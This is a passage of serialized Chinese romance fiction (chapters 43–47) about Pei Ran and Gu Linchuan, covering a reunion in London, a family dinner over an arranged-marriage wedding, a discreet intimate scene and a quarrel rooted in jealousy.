难得得了空闲,宋妍宜坐在办公室里,摘下眼镜揉了揉发疼的太阳穴,轻声叹气。
助理在此时敲门,“宋总。”
“什么事?”宋妍宜很快恢复状态。
助理将手里的资料递上前,“这是南城媒体即将发布的新闻,我都按您的吩咐全部拦下来了,请您先过目。”
宋妍宜看了一眼,照片里是她和顾临川在宴会上挽着手臂亲密的照片,角度刁钻但能看出两人的恩爱。
“全部撤掉,只发文字,不要流露出去照片。”宋妍宜翻了翻,都是些特殊角度拍出来的照片,实则两人隔了挺远距离。
听到这话,助理有些不解,“您的目的不就是……”
宋妍宜轻笑:“不能得寸进尺不是,听我的,文字已经足够。”
诚然将两人的照片借媒体之手刊登到报纸上,会让这桩婚事的作用发挥到极致,但她也不是忘恩负义之人,懂得点到为止。
“好的。”助理依言照做,随后又补充道,“关于婚礼的服装和对戒方面……”
宋妍宜大手一挥,将文件全部关上:“一切从简,只要不丢顾家的面,什么样式什么风格我都接受。”
助理满腹疑虑,但最终是什么也没说就退了出去。
在他看来,这桩婚事实在奇怪。
分明是青梅竹马一起长大,两人对这场婚宴的在意程度却一个比一个低,甚至顾总连试婚纱挑选对戒的场合都是只让助理到场。
平日里除了推脱不掉的宴会,几乎不会看宋妍宜一眼。
最重要的是,他听说,顾临川有一个养在英国的白月光,而这个白月光的身份也并不陌生,正正好是他那私生子弟弟的未婚妻。
豪门关系太复杂,助理想到自家老板近几日高兴的神情,叹了一口气,终究是他不懂了。
在英国的这段时间,裴然倒是过得清闲。
Leo没课的时候会缠着他一起去看展,其他时候裴然不是在医院就是在家里窝着画稿,晚上等顾临川下班后打视频,逗逗小猫聊聊天。
四月初在心理咨询室会诊过后,医生看着他的各项数据,露出了笑意,说他精神状态和身体素质各方面都表现得很好,头疼发作的频率也在不断的减少。
拿了报告,英国少见的晴空万里,裴然给自己点了一杯热可可,走到自主银行取款机面前。
他把自家这几年的积蓄全部筹集起来,汇到一张卡上。
当年车祸过后,母亲的医疗费用迅速掏空了家里的存款,他不得不放弃上大学,出去打工。
就在这时,顾振东出现了。
顾振东将支票和机票放在他面前,说顾辰想去英国上高中,但是独自一人他不放心。
所以他要让裴然陪着顾辰一起出国,时刻关照他。
并且最重要的是,在此期间不能在和顾临川联系。
“我知道你和临川在谈恋爱,我并不反对,男人嘛,总会在年轻的时候犯点错,在一些人或者事情上耽误时间。”顾振东语气轻松,但常年习惯深处高位的男人,浑身自带不怒自威的气场,“但是很遗憾,你只能陪他胡闹到这里了,你是好孩子,离开这里吧,去开启新的人生。”
“不、不行,我不能这么做。”裴然紧紧咬着下唇,将支票推开,“钱的事情我会自己想办法,不闹您费心。至于我和顾临川的感情……除非他
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亲口跟我说,不然我是不会离开他的。”
少年的感情倒是情比金坚,只可惜在真正的利益面前,不堪一击。
顾振东发自内心地笑了:“孩子,你知道你母亲的治疗费用是多少吗?”
“我可以打工……”裴然羞愧地低下头。
“天真。”顾振东直截了当的打断他,“目前唯一可以治疗你母亲,让她重新苏醒过来的医院,就在英国。孝顺的孩子和忠诚的爱人,你只能二选其一。”
听到这话,裴然沉默了。
的确,纵使他可以赚到很多的钱,让母亲在国内接受治疗,但国内的医疗技术根本跟不上。
而这件事情被顾临川知道以后,顾临川一定会想办法给他筹钱,找最好的医生。
他不想让他们之间的感情变得这么复杂。
顾振东看出他内心的纠结,叹了一口气,将支票继续往前推了推,推到距离他的指尖只有咫尺远才堪堪停下。
“多想想你的母亲,还有你的学业,你也不想就这样放弃吧?”
过了很久,顾振东几乎快失去耐心,打算站起来离开的时候,裴然手指如同痉挛一般地颤动起来,以一种很扭曲的姿态抓住了那份支票。
裴然喉咙发紧,低垂着眼,那一句话说的很艰难:“我答应你。”
顾振东满意地看着他,轻笑一声,似乎并不打算继续在这里跟他浪费时间了。
“等一下,顾叔叔!”裴然抬起头,猛地叫住他,“能不能不要告诉他我离开的真正原因,就说我是因为钱,好吗?”
顾振东挑眉:“当然,告别的场景,你可以随意选择。”
听到这里,裴然脱力似的跌坐回沙发上,空洞的眼神半晌才聚焦,他低头看着手里的支票和机票。
上面印着的时间像是死亡倒计时,滴答滴答,催促着他走向无法回头的深渊。
他最终选择了不告而别,并且假装自己是为了钱才离开的。
他知道顾临川不会轻易相信,但当下他没有任何办法,这么多年来,只能用沉默来麻痹和欺骗自己。
这些年,他把从顾振东手里走的每一份金额都仔细记录了下来,并且把自己的积蓄都攒起来,打算等有时间一定要还给顾振东。
他不想欠顾家的,虽然有些东西不是还清了钱就可以的。
此刻,看着银行卡里的余额,他心里盘算着,除开母亲医院的开销,工作室的日常运营,已经足够偿还顾振东这些年的资金了。
裴然长舒一口气,内心充满了希望,一切都在向着好的方向发展。
等到把钱都还给顾振东,他也就可以干干净净地和顾临川在一起,并且亲自和顾临川道歉,将当年的事情完完整整地告诉他。
坦诚是让伴侣安心的前提之一。
想到顾临川的不安,他走出银行的路上拿出手机,对着天空拍了张照片。
裴然:英国的天好蓝,你那边是怎样的天气?
顾临川几乎秒回:晴天。我也很想你。
裴然勾唇,打了一句“你怎么知道我在想你?”又把它删掉,觉得这样明知故问太无聊,歪着头正思考如何回复。
手机叮咚一声,伴随着微微的震动,裴然看清了手机屏幕中的文字,一瞬间只觉得连心脏都感到酥麻。
手机上只有简单两个字:
回头。
44.第 44 章
英国的四季变化并不明显,春天总是悄无声息的降临,带着明显和煦的春风。
裴然盯着屏幕上的文字,几乎是本能地抬起头,瞧见不远处的屋檐下,站着一位比春风还温暖的人。
男人张开双臂,宽阔的胸膛像是可以阻挡世间所有烦心事,薄唇微启,轻声唤他。
隔得太远,他听不清楚,但看嘴型是叫的——然然。
何其有幸,分离多年后爱人仍旧愿意爱着他。
他学着顾临川的模样张开双臂,像离弦的箭一般朝他冲过去,稳稳落入他的怀中。
“你怎么会来?”裴然环住他的腰,耳朵贴在他胸口,“看到消息的时候,我还以为你在逗我。”
“旷工了,来看看你。”顾临川揉了揉他的发顶,又摸着他薄薄的外套,皱眉,“怎么不多穿点?”
有一种冷叫男朋友觉得你冷。
裴然颇为无奈,用自己微热的掌心去贴他的侧脸,为自己证明:“英国升温啦,我一点都不冷。”
顾临川见他的确不冷,才放弃要将外套披到他肩上的想法。
“老板怎么带头旷工呀?”裴然拉着他的手往前走,语气是自己都没有意识到的撒娇,“这算不算新时代的从此君王不早朝?”
“我来见见自己的男朋友,有什么错?算不上昏庸。”顾临川勾唇笑,“更何况,我是老板谁敢说我?”
裴然笑道:“真是霸道啊。”
顾临川挑眉:“一点老板的特权而已。”
裴然轻声又问:“很忙吗?可以多待几天吗?”
顾临川说:“晚上就回。”
“这么快?”裴然不自觉地耷拉着脑袋,下一秒又恢复原状,“没事的,很快婚宴开始,我就回来找你。”
顾临川低头,在他脸上落下一吻,“麻烦多陪陪我吧,我很需要你。”
“我知道了。”裴然闷声说。
顾临川说:“走前去医院看看徐姨,她状态好点了吗?”
“好多了。”裴然看了看手表,还剩下五个小时的独处时间,“现在已经能站起来借助工具走几步了。”
顾临川:“那就好。”
伦敦今日的风很大,但并不冷,两人十指相扣,沿着前方漫无目的地走着。
湿润的风轻轻拂过泰晤士河面,泛起一层软金似的光,吹到两人身边。
裴然走在前面,脚步很慢,带着顾临川认识这个当年他独自生活的小世界。
“平时没课的时候,我常常会来这边。”裴然声音很轻,目光落在不远处的流浪汉音乐家身上,“有时候画图,有时候就发呆坐一会儿,吹吹风。”
顾临川安静地跟在他身侧,没打断,只是认真地听着。
裴然独自在英国的七年,他并没有参与,现在听到他随口提起,之间的心疼又珍贵。
初到英国时,人生地不熟的裴然会害怕吗?会想他吗?会在夜里偷偷抹眼泪吗?
裴然领着他走到一处矮栏杆旁边,那是他常待的位置。
悠扬的手风琴声顺着风传过来,让两人之间的气氛变得更浪漫又唯美。
“我在这里画过不少设计稿,来往的人群,昏暗的天气,甚至是大本钟的钟声,都会给我带来无限的灵感。”裴然指尖轻轻放在栏杆上,感慨,“有时候我也觉得,苦难是灵感的温床,在英国的这些年,是苦难成就了我,它让我无法沉溺在幸福编织的象牙塔里,逼着我走出来,逼着我一点一点画下来……”
顾临川看着他的侧脸,阳光落在他的睫毛上,柔和的像一幅油画。
他知道裴然会这样想只是在欺骗自己,将一切的苦难视作命运的恩赐,或许会好受一些。
人生就是这样,有得必有失。上帝为你关上一扇门的同时,就会为你打开一扇窗。
在接连失去了亲情和爱情之后,他的事业迎来了春天,是馈赠还是补偿?谁也说不清楚。
许久之后,他缓缓开口:“苦难并不会造就天才,苦难只会让人失去和痛苦。”
顾临川的声音软下来,像是在哄一个倔强的孩子:“你的才华不需要靠这些伤口来发光,就算没有经历这些,你也会不断地成长,最终成为被所有人仰望的设计师。”
裴然眼神温柔地望着他,破涕为笑:“你喜欢我,当然会觉得我很厉害。”
顾临川问:“还记得你在我家看到的那副油画吗?”
“记得。”裴然想起有关这副油画的故事,“怎么了?”
“当时我和英国的合作商一起来义卖展览参观,我并不知道会有你的作品。”顾临川握紧他的手,温暖着他微凉的指尖,“是他在聊天中无意提起,从前在中国购买过一副油画,从此他便深深地迷恋上了,所以特意邀请我来此。”
裴然深吸一口气,试探地问:“不会买的是我的吧?”
“是的。”顾临川继续说,“当时逛完了整座展馆,他非常兴奋地告诉我,他发现一副油画和当年的笔触十分相似,像是有神性,并且同样是是来自东方,当时他立刻打算买下收藏。只可惜,我看见了下方的署名,再我也表达了喜爱之后,他便忍痛割爱了。”
裴然不知道这幅画还有这样的经历,不禁有些震惊,他断然是不认为自己的画作有这样的魅力。
毕竟之前他作为应试教育,设计和灵感都相当死板,时常设计出华而不实的服装,还为此沾沾自喜。
但当时顾临川和父母一直很鼓励他,顾临川还为他举办过几场私人画展,邀请了一些国内有名的设计师为他作陪。
那副油画应该就是在那时候流通到英国的。
真是奇妙的联系。
“我还以为,当年的作品非常平凡,没想到……”裴然莫名唏嘘。
“现在相信了吗?”顾临川替他理了理额前的碎发,顺手揉上他冰凉的耳垂,“我说过,只要是你裴然,这一切就都会是你的,不论苦难或是幸福。”
“如果可以的话,我愿意用我的一切,去换你的幸福。”顾临川轻轻地抵上他的额头,安抚地蹭着,“从此以后,把幸福作为你灵感的温床,好吗?”
裴然睁着眼睛,看着近在咫尺的脸庞,对方双眼紧闭,眼睫轻颤,像是从前他在教堂里见过的虔诚的信徒。
他的内心再也无法宁静,他忽然反应过来发生了什么,此时此刻,有一个人在泰晤士河边,郑重地说下要他幸福的话,流动的空气和人群在一瞬间静止。
这一刻他只能看见眼前的顾临川。
比春天先来的,是顾临川。
聊完沉重的话题,裴然张开双臂让风灌了满怀,并让顾临川学着他的动作,说:“让泰晤士河岸的风,带走我们的烦恼吧。”
“嗯。”顾临川依言,却绕到裴然的身后,深深地拥住他,“我没有烦恼,我只要你。”
裴然笑弯了眼,转过身和他接了个温柔而缠绵的吻。
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之后,两人在河边悠闲地散步,裴然请顾临川喝了一杯从前最爱的热可可,捧在手心暖意直流心间,甜而不腻。
两人走到流浪汉音乐家的身边,流浪汉头发凌乱,抱着一把旧吉他,坐在路边自弹自唱。
路过的人群为之驻足,将他位在圈的中心。
裴然脚步顿了顿,目光落到吉他上,忽然笑了一下。
他回头看着顾临川,眼底闪着细碎的光:“等我一下。”
说完,他走向那位音乐家,低声交谈了几句,最后指了指站在不远处的顾临川。
对方顺着他的指尖看过来,在看清顾临川的脸时,笑了笑,爽快地把吉他递给他。
裴然抱着旧吉他在流浪汉旁边随便找了个位置坐下,面对着顾临川,指尖轻轻拨弄了一下琴弦,音色并不完美,却足够干净独特。
“我要唱一首歌,献给我最爱的男朋友。”
裴然含着笑,对着面前有些不解的人群解释着。
闻言,围观的众人纷纷热闹起来,起哄着将顾临川给挪到人群的中心。
裴然对顾临川说:“从前我走在泰晤士河边时,每一个拐角我都期望着可以见到你,如今我的愿望成真了,你真的站在我的面前。谢谢你愿意爱我。”
顾临川深深地望着他,等待着他的歌曲。
裴然深吸一口气,指尖开始拨动琴弦,伴随着简单、柔情的和弦,一首情歌倾泻出来。
“Dirty old river, must you keep rolling
Flowing into the night?
People so busy, make me feel dizzy
Taxi light shines so bright
But I don''t need no friends
As long as I gaze on Waterloo sunset
I am in paradise
Every day I look at the world from my window
But chilly, chilly is the evening time
Waterloo sunset''s fine
……”
裴然嗓音很独特,天生的薄荷音让整首曲子显得很清透,但他情感又有几分思念的委屈,在场的人们纷纷沉迷其中。
一曲终,余音散在风中。
人群中响起稀稀拉拉的掌声,一旁的音乐家也朝他投来赞赏的目光:“简直是太棒了这首曲子!”
裴然谦虚地笑着,将吉他递还给他,转身深深的扑进顾临川的怀抱。
顾临川神色难得有几分错愕,但仍旧牢牢地抱紧了他,在他耳畔低声说:“我很喜欢,谢谢然然。”
“不用谢。”裴然在他怀里笑得张扬,“你听,他们都在祝福我们。”
两人相拥的一瞬间,人群爆发出一阵哄闹,不少人甚至大胆地吹起轻快的口哨,跃跃欲试想叫他们亲吻一个。
闻言,顾临川收紧手臂,牢牢抱紧怀里的人,低头在他发顶落下一吻。
像是一场没有下跪和戒指的求婚,一对新人在泰晤士河边得到了来自全世界各地的祝福,和对方为自己不停跳动的心脏。
45.第 45 章
“然,你在笑什么?”Leo一边收拾行李,一边好奇地问,“你最近很奇怪,是不是有什么秘密瞒着我?”
裴然一愣,赶紧收敛了笑容,吐了吐舌头:“没什么啦。”
自从那天过后,裴然一想起那个画面——春风、河畔、音乐还有深爱之人,总是不自觉地笑出来。
Leo显然不信,一下冲过去拦住裴然的肩,佯装恶狠狠地威胁:“然,不许藏小秘密!”
“没有小秘密,只是想起高兴的事情。”裴然被猛地一扑,脖子有些痒,笑起来,“好啦好啦,快收拾,不然赶不上飞机啦。”
“真的?”Leo狐疑地看着裴然,还想说什么,奈何时间实在不够了,只好转头专心收拾行李。
此次回国便是参加顾氏集团和宋氏集团联姻的婚宴。
裴然和顾临川的感情没有刻意瞒着Leo,因此在出发前,裴然斟酌用词,尽量用最简单的话给他讲明白,为什么自己的爱人会和别人办婚礼。
意料之外的,Leo接受程度很高,甚至对于这种情节有种莫名地兴奋,冲着裴然神秘的挑眉:“我懂啦。”
裴然欣慰地点头,“真棒……”
下一秒,Leo语出惊人:“该不会是顾和宋同时暗恋你,爱而不得的宋只好这样做,我得不到的,谁也别想得到!”
Leo俨然已经沉浸在幻想之中。
“想什么呢?”一旁的裴然差点被自己的口水呛到,哭笑不得,“这又不是写小说,剧情哪里会按照你看的狗血小短剧那样发展。”
Leo嘿嘿一笑:“开个玩笑,我知道,你和顾非常恩爱。”
裴然顺手抄起一旁的时尚杂志,卷成棒槌形状敲他头:“知道就好。”
回国之后,刚落地机场,就有顾家派来的司机到机场接他们。
Leo一个人推着两个行李箱,任凭裴然说什么也不肯松手,他一个人大包小包的拿完,根本不让裴然拿一点重物。
裴然看着和自己身量差不多的Leo,内心温暖又欣慰,虽然他是独生子,但身边的朋友却胜似亲人。
Leo对于他而言,和亲生弟弟没有任何区别。
不知怎得,脑海里下意识想到另一位没有血缘关系的弟弟,裴然轻叹一声,关系闹僵之后,他们几乎断了联系,也不知道他过得好不好。
“然然。”
加长款林肯停在两人身前,打断了裴然的思绪,车门打开,顾临川抬脚下来,自然地牵起裴然的手,微笑颔首:“你好,Leo。”
“你好,顾先生,好久不见。”Leo将行李递给司机,随即暧昧地冲裴然一笑,坐到副驾驶去了。
“你怎么有空一起来?”裴然看着他眼下的乌黑,有些心疼,“你看起来很累,需要休息。后天就是婚宴了,要准备的是不是很多?”
“是有点。”顾临川说完,小幅度的侧过脸,让唇贴上他抚摸自己的掌心,“抱紧我,让我充会儿电。”
裴然哪里受得了顾临川这副难得的示弱姿态,当即便将他揽入怀中,双手放在他太阳穴轻按,小声问他:“好一点了吗?”
“好多了。”顾临川满意地埋在裴然胸口,深吸一口气,鼻翼间只剩下裴然的香味,却仍是虚弱道,“好像还不够。”
“哪里疼吗?”裴然有些不放心,伸手去探他的额头体温,“是不是生病了呀?”
“没事,只是有点困。”顾临川从锁骨开始,顺着脖颈一路吻上去,最后在他耳畔低声道,“待会儿陪我睡会儿,好吗?”
裴然有些惊慌地看了看前排两人,脸发烫,小声喘着气:“好。”
“不要看他们。”顾临川感受到他的分心,有些不满地捧着他的脸,“我比他们更需要你,然然。”
一句话,裴然瞬间定住,神色有些涣散,像被带着致命诱惑的毒蛇引诱,丧失了理智与思考,只想沉沦在无尽的缠绵中。
后排传来有些粘腻的水声,Leo和司机眼神死死盯着前方,不敢移动半分。
身后的接吻声终于停下来,Leo是外国人,早就对这种随时接吻的场面司空见惯,只是对象之一是裴然,他觉得新奇,一时间有些不知所措。
但很快他就冷静下来,甚至下车前,和司机对视一眼,还有闲心用拿手的中文和他笑道:“哇,真是甜蜜,我们应该保持理解,毕竟是刚结束长时间异国恋的热恋情人。”
司机身形却一僵,下意识看向自家老板的方向,担心窥探私事被责罚,但在看见老板应允的神色后,才敢放松下来。
司机下车为两人取行李,递给Leo时和他击拳,开玩笑道:“当然,我想没有比我更应该习惯并理解的了。”
Leo听懂之后,大笑起来。
裴然害羞不已,整个人躲进顾临川的外套里面,语速极快:“我先进去了。”
说完就抱着顾临川飞快往屋里走。
管家刚走到门口,见到两人正准备出声问好,便只见眼前掠过一阵风,随后两人身影便消失在门口。
管家理了理被吹乱的头发,又看着眼前笑得前仰后合的男人,大概明白了情况,随即招呼佣人上前替他拿上行李。
“先生,您的房间在这边,请随我来。”管家微微欠身,伸手为他引路。
司机驱车准备离开了,Leo却突然叫住他:“麻烦等一下。”
司机听话地停下车,往后倒了点,问他:“出什么事了吗?”
只见Leo拉开车门,将身子探进去,在车座下扯出一条围巾,自言自语地嘟囔:“这条围巾怎么会在这里?”随后又笑着感谢:“已经没事了,辛苦你了。”
车子缓缓驶离,Leo拿着围巾和自己的行李,在顾宅的客房住下。
晚饭是在顾宅吃的,因为顾临川的婚宴,聂玥女士也搬回顾宅暂住。
一时间,除了在外租房的顾辰,到场的人竟然罕见的齐全。
饭桌上,顾振东坐在主桌,神色不悦,但碍于身旁强势的妻子,不好发作。
一顿饭除了顾振东,剩下的人倒是吃的和谐万分。
“先生,二少爷回来了。”管家在一旁低声提醒。
顾振东粗声哼一口气,把筷子往桌上重重一拍,怒道:“他还知道回来?”
自从上次在公园和裴然说清楚之后,顾辰萎靡了一段时间,看见顾临川就躲,恰逢此时,顾振东要求他完成一个工作项目,他不愿意,两人争吵一番,他也搬离了顾宅。
此刻顾辰跑得面色通红,喘着粗气从大门快步跑过来,视线在饭桌上的各位身上游走,最终定格在裴然身上。
顾辰下意识地笑了,柔声喊:“然哥,你怎么来了?”
此话一出,桌上众人面色各异,顾
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临川捏筷子的手紧了几分,裴然怕他不高兴,向他投去安抚的表情。
Leo不知道其中的恩怨是非,但本能地感到气氛凝固,缩了缩脖子,降低存在感。
聂玥慢条斯理地吃着饭,像是没看见来人似的,给裴然夹了一块清蒸鲈鱼,笑着说:“尝尝这个,知道你要回来,特意吩咐厨房做的,应该还是小时候的口味。”
“谢谢伯母,没想到你还记的我的口味。”裴然吃下,惊喜地说,“和小时候一模一样。”
“你喜欢就好,国外这几年你受苦了,得多吃点。”聂玥淡淡地扯了一下嘴角,视线有意无意地瞥向身边的顾振东,“伯母真是心疼你,孤身在国外,也没个依靠,如今回来了就好。”
话题被引向当年的事情,顾振东恼羞成怒,但对方也没点名指姓地说,只能憋着一口气在胸口。
顾辰见没人搭理他,自顾自地向拿了碗筷,在裴然旁边落座。
裴然看向他,本想让他换个座位,但看着他无辜的眼神,最终只是叹了口气:“既然来了,就好好吃饭吧。”
顾辰露出高兴的表情,“放心吧然哥,我只是回来吃饭的,没有别的意思,不会打扰你。”
但愿吧,裴然不忍心当着众人的面和他争执,敷衍地点头。
顾振东气得没胃口,没吃几口便离席,顾辰注意到后便吩咐厨师让菜热热,他给他端上去吃。
顾辰站在门口,轻敲:“父亲,是我,我给你送点吃的。”
“进来吧。”
卧室里,顾振东疲惫地坐在椅子上,面前摆着他需要服用的药物。
“父亲,你晚饭都没怎么吃,身子要紧,我让管家叔叔热了些清淡的,你再吃点?”顾辰走上前,替他收拾了一下有些杂乱的书桌,“这几天我反省了一下自己,我不应该跟您闹脾气,我这就搬回来住。”
“你是看在裴然也在家里吧。”顾振东眯着眼睛,沉声问,“你动真心了?”
“怎么可能!”顾辰下意识反驳,随即反应过来,缓和语气解释道,“我只是觉得不应该任性下去了,那个项目后来我去了解了一下,的确是很有前景的,我都明白您的良苦用心。”
“真心是世界上最不值钱的东西,我想你明白这个道理。”顾振东眼神锐利,根本不相信这番话,警告他,“顾临川被他母亲养成了一个懦弱的情种,你把裴然从他身边夺走,让他吃吃教训也好,但是你若是拎不清,那便是自讨苦吃。”
“我明白的父亲。”顾辰垂着头低声道,“我当然不会爱上他。”
顾振东见他如此懂事,便也不再说,转头问:“最近你和宋家那小子忙活什么呢?”
“他找我合作,想夺回宋家的控制权。”顾辰实话实说。
“不自量力。”顾振东轻嗤一声,“就凭他的头脑,根本不可能斗过宋妍宜,更何况还有顾临川的助力。”
说完,顾振东看他一眼,“跟他胡闹可以,注意分寸,不要忘了正事。”
“是,父亲。”
顾辰退了出去,楼下客厅一片其乐融融,欢笑声随着空气传上来,令他有些窒息。
他盯着其中一抹熟悉的身影,眼底是化不开的浓雾。
爱上他?真是可笑……
他不会爱上任何人,他这么做的目的只是想让顾临川感到恶心而已。
仅此而已。
46.第 46 章
夜里,床的灯只亮了一盏,暖黄的光把房间的氛围衬得很软。
窗户半开,吹进一阵凉风。
顾临川垂眸望着他,闷闷地笑:“抖这么厉害?冷吗?”
裴然躺在深色床单里,皮肤显得更加白皙,此刻染上一片潮红,熟悉又陌生的感觉让他想要逃离,却又被深深抱在怀中。
“不、不冷。”裴然攥着他的衣领,“你太坏了,你明明都知道。”
“嗯。”顾临川拇指轻蹭过他湿润的唇,眼神死死盯着他,不肯错过他脸上的任何表情,哑声问,“舒服吗?”
“不要问了……”裴然把脸深深埋进去,片刻后又不放心,勾着他的脖颈吻上去,“你亲亲我……”
呼吸近在咫尺,手指深深陷进肉里,一阵细碎的布料轻蹭声后,便只剩下乱了节奏的呼吸。
树叶在夜风吹拂下沙沙作响,春季来临,枝头发出不少嫩芽,在风中打颤,像受了欺负又像极尽宠爱。
粗壮的树干稳稳托起嫩芽,风吹过,便带着克制的汹涌,晃着。
整个世界静得只剩下风声,风声从急促到缓慢,又从缓慢到急促,直到嫩芽承受不住般悄悄绽放,才变得柔和下来。
夜露顺着嫩芽冒出的痕迹陷进去,陷进一片温柔又滚烫的深处。
风慢慢停下来,顾临川把累到了的裴然捞起来,手掌放在他小腹上,轻啄他的唇:“好乖。带你去洗澡。”
“嗯。”裴然累得简直睁不开眼睛,手却还抓着他的小拇指不放,低声喃喃,“你记得轻一点,我受不住的。”
顾临川一怔,随即轻笑一声,把他抱紧,恨不得将他揉碎了塞进自己的身体里:“遵命。”
从浴室出来,顾临川把他放在床上,仔细盖好了被子,在额头落下一吻。
门口传来敲门声,此时已经是凌晨,顾临川起身给他开门。
门口站着的是倒时差睡不着的Leo,他看着顾临川的餍足的眉眼,很快反应过来里面刚刚发生了什么,有些尴尬:“抱歉,我看见你们灯没关,以为你们还没睡。”
床上的裴然不安稳的翻了翻身,顾临川示意他到外面说。
顾临川声音带着几分沙哑,问他:“这么晚,有事吗?”
Leo才想起来自己来的目的,又转身回了房间,将白天在车里的那条围巾递给他:“这是我在车里捡到的然哥的围巾,我本想着睡不着就过来还给他,交给你也是一样的。”
Leo此刻无比后悔为什么要在半夜还东西,明明白天有一整天的时间。
顾临川看见围巾的样式,微微蹙眉,神色有些复杂,接过围巾问他:“哪台车?”
“今天送我们过来的那台林肯。”Leo说。
顾临川沉吟片刻,将围巾收好,“多谢,早点休息。”
Leo朝他挥手,回了房间:“嗯,你也是。”
顾临川捏着围巾的手因为用力青筋暴起,他深深吐出一口气,将脑子里混乱的想法甩出去。
回了卧室,顾临川彻底没了睡意,坐在床边静静看了会儿裴然的睡颜后便起身拿了烟和打火机到书房阳台抽烟了。
他本想只抽一根就回去睡觉,但等到回过神来,面前已经掐灭了三颗烟蒂,整个阳台是风都吹不散的烟味。
顾临川:“……”
他很少有这么失控的时候。
第四根烟被点燃,轻薄的烟在指尖升腾,让他的脸变得忽明忽暗,无法看清。
那条围巾,是裴然去苏城的时候顾辰替他保管的,他亲眼见过。
如今在顾家的车里出现,只能说明一个问题,顾辰没有还给裴然,或者说他们足够亲密,一条围巾而已,谈不上归还。
空气似乎变得稀薄,他胸腔剧烈起伏,觉得呼吸都有些困难。
沸腾的血液在血管里翻腾着,叫嚣着,脑海里有一个声音不停地告诉他:看啊,你的爱人和你的弟弟如此亲密,真是不把你放在眼里,他们曾经在英国度过七年时光,而你只是被抛下的可怜虫。
紧接着又出现另一道声音,反驳着:不是这样的,他有自己的苦衷,你应该相信你的爱人,你需要给他足够的交友空间。
他拿烟的手指颤抖着,最终苦笑一声。
他占有欲和控制欲太强,从前可以收敛,但如今他好像越来越忍不住了。
火光熄灭,他忍下继续的念头,把身上的外套脱下来,又在出风口站了许久,打算等到烟味散去后再回到卧室。
“顾临川。”裴然站在书房门口,揉着眼睛,睡眼惺忪地问他,“怎么不回房间睡觉,都这么晚了?”
“在工作,就来。”突然出现的裴然令他有些错愕,他想挡住桌上散乱的烟头,却慢了一步。
裴然看清了阳台的情况,顿了顿,问他:“怎么在抽烟,你不高兴吗?”
顾临川:“……”
沉默在两人之间蔓延,直觉告诉顾临川应该坦诚地把心思说出来,裴然不会读心术,也不没有上帝视角。
闷着不讲只会伤害他,也是伤害自己。
裴然抿唇,往前走几步,下意识地想贴近他的胸膛,却明显往后撤了一点距离,闷声问:“和我有关吗?”
顾临川刚抽过烟,声音沙哑:“我不知道。”
裴然红着眼,强大的落差感让他不受控制的感到迷茫又委屈,直觉告诉他,在他睡觉这期间一定发生了很重要的事情。
而且是一件顾临川为之生气却不愿意告诉他的事情。
“对不起,是我哪里做的不好,可以告诉我吗?我有点害怕。”
“不要道歉。”顾临川像一只战败的野兽,俯身埋进裴然颈项间,“是我的错,我太小气了,太没有安全感。”
裴然抱住他,轻拍他的背,感受到他脊背都在微微颤抖,一愣,随即轻声安抚:“你在害怕吗?”
顾临川重重呼出一口气,岔开话题:“然然,回去睡觉吧。”
一股无力感再次袭来,又是这样,上次和他讨论与宋妍宜的婚事时,问完爱不爱的问题后连回答也不敢听。
裴然这次很坚持,站在原地不肯走。
顾临川察觉到他没有跟上来,脚步一顿,背对着他说:“刚刚Leo送来一条你的围巾,在车里捡到的。”
“我在顾辰那里见过,你送给他了,是吗?”
“我的?”裴然疑惑,他并没有记忆是把围巾给顾辰的,他问,“什么样的围巾?”
顾临川转过身,却并不看他,只是将照片递给他。
“不对。”裴然皱着眉,矢口否认,“这条围巾我只带过一次,剩下的时候我都放在家里的,我没有给过顾辰。”
解释显得很苍白,但他没有证据,只能重复:“我没有
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给过他。”
“好,我知道了。”顾临川说,“是我不好,误会了你,原谅我好吗?”
撒谎!他根本就不相信自己!
裴然猛地向后退,红着眼质问:“你觉得我和他发生过什么,对吗?你心里一直有一根刺,所以你在发生事情的第一时间,就会怀疑我。”
顾临川想解释,上前拉他的手,却被用力甩开。
一时间,两人都怔怔地看向自己的手,仿佛刚才经历的事情太让人难以置信。
“对不起……我没有想这样,我只是控制不住自己……”裴然着急地解释着,“是我不告而别伤害到了你,所以当我知道这么多年你对我的感情之后,我能做的只有弥补,我爱的没你多,也没你伟大,遇到难题的时候我只能舍弃爱情,我什么也做不了。”
“但是你不能不相信我呀,你安定位装置、派保镖跟踪我、调查我的过去……我都接受,我也不觉得你在控制我,我拼命地想回到从前,可是为什么总是我在惹你不高兴,我真的很失败……”
裴然说到最后,泣不成声,眼泪像断了线的珠子一般顺着脸颊滑落。
顾临川心脏骤然缩紧,伸出双手把他抱进怀里,吻去他脸上的泪,声音也有几分发颤:“然然,爱没有高低之分,你的爱也同样伟大,被你爱着是一件很幸福的事情。”
“你哄我!”裴然挣扎着,小声地喊,“我对我这么好,我却连人际关系也处理不好,让你伤心。”
“没有哄你,是我没有处理好情绪,一时间才没有跟你讲。”顾临川顺着他的背脊往下摸,“我知道你们之间没什么,但是我也是普通人,我也会惶恐害怕,我没有这么完美,万一你不爱我了,不要我了,我该怎么办?”
裴然呼吸平稳了些,没忍住反驳:“我才应该考虑这些吧。”
“我们都不用考虑。”顾临川轻吻他,“我们不会分开。”
裴然颤抖着手回抱住他,两个人在静默的夜里无声地安抚着彼此。
许久过后,裴然突然小声地问他:“你困了吗?”
顾临川还以为是他困了,便说:“睡吧,我陪你。”
“不是。”裴然摇头,拉住他,“我们坐下来,聊聊天,可以吗?”
裴然很清楚今天晚上的事情并没有过去,安全感不是一句话一个吻就可以建起来的东西,方才情绪激动,表达的也很混乱,他必须完整清晰地和他谈谈。
不仅仅是跟顾辰相关,还有当时顾临川说的,自己不要他了。
一桩桩一件件,都必须摆到台面上,不能憋在心里,成为心结,在往后余生里化为刺向彼此的刀。
顾临川看着他,答应了。
裴然露出一个笑容,又问:“这么聊总觉得少了点什么,可以让我抽一支烟吗?”
“你身子不好,不……”拒绝的话被掐灭,裴然已经大胆地从他兜里摸出一根烟,看着他眼底明晃晃的有恃无恐,只好说,“仅此一根。”
裴然身体不好,顾临川便从不当着他面抽烟,舍不得让他吸二手烟,更别说让他直接吸烟。
裴然仰头靠在他肩上,就着他手里的打火机点燃了烟,长吁一口气,借着烟雾腾飞的空隙,观察身边人。
片刻过后,他想主动沟通的话还没说出口,先得出一个结论。
太帅了,这有点犯规啊,裴然愣神地想。
47.第 47 章
不过,话虽如此,裴然依旧安静地抽着,半晌转头笑吟吟地问:“是不是没见过我抽烟?好像从小到大都是乖孩子形象。”
